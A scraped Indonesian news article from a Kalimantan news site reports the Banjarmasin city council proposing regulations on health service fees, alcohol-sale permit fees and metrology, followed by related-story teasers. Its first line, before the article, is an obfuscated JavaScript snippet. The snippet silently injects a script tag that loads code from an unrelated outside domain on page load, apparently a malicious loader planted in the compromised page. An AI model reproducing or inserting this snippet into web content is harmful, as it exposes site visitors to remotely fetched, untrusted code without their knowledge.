(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, DPRD Banjarmasin kembali menggunakan haknya untuk mengusulkan pembuatan Rancangan Peraturan Daerah (Raperda) maupun Revisi Peraturan Daerah (Perda) untuk dibahas bersama Pemko Banjarmasin melalui Badan Pembentukan Peraturan Daerah (Bapemperda).
Adapun satu Raperda dan dua Revisi Perda yang di usulkan sendiri yakni, pertama Perubahan Atas Perda Kota Banjarmasin Nomor 17 Tahun 2012 Tentang Retribusi Pelayanan Kesehatan, kedua Perubahan Kedua Atas Perda Tentang Retribusi Izin Tempat Berjualan Minuman Beralkohol dan ketiga Perda Tentang Kemetrologian.
“Baik dua Revisi Perda maupun pembentukan satu Raperda yang diusulkan oleh Bapemperda kali ini memang kami anggap penting untuk dilakukan untuk menyesuaikan dengan perkembangan saat ini dan kebutuhan di masyarakat,” tegas Ketua DPRD Kota Banjarmasin Hj Ananda disela Paripurna Tingkat I DPRD Kota Banjarmasin, Jumat (4/1) di Aula DPRD Kota Banjarmasin.
Sebagai contoh, Perubahan Atas Perda Kota Banjarmasin Nomor 17 Tahun 2012 Tentang Retribusi Pelayanan Kesehatan diharapkan bisa mengakomodir standar biaya yang dibebankan ke masyarakat untuk melakukan berbagai layanan kesehatan di Rumah Sakit Umun Daerah (RSUD) Sultan Suriansyah nantinya.
Kemudian untuk Perubahan Kedua Atas Perda Tentang Retribusi Izin Tempat Berjualan Minuman Beralkohol dimaksudkan untuk mendorong peningkatan Pendapatan Asli Daerah (PAD) maupun memberikan kepastian hukum terkait standar retribusi yang wajib dibayarkan pelaku usaha yang aktivitas usahanya menyediakan minuman beralkohol.
“Lalu untuk Perda Kementrologian juga dirasa perlu sebagai payung hukum untuk membentuk Unit Pelaksana Teknis (UPT) Metrologi serta mengatur penggunaan alat ukur, takar, timbang hingga perlengkapannya yang biasa disebut UTTP,” tambahnya.
Hj Ananda pun dalam kesempatan ini berharap, upaya DPRD Kota Banjarmasin dalam jemput bola mengusulkan Pembuatan Raperda atau pun melakukan Revisi Perda bisa ikut mendorong akselerasi pembangunan hingga pelayanan publik yang lebih baik di Kota Banjarmasin kedepannya.
“Kami tentunya juga berharap berbagai pembentukan Raperda maupun revisi Perda yang diusulkan oleh Pemko Banjarmasin nantinya bisa memiliki semangat yang sama. Hal ini agar visi Walikota Banjarmasin Ibnu Sina dan Wakil Walikota Banjarmasin Hermansyah yang ingin menjadikan Kota Banjarmasin menjadi Barasih dan Nyawan bisa untuk diwujudkan,” pungkasnya.(arief)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.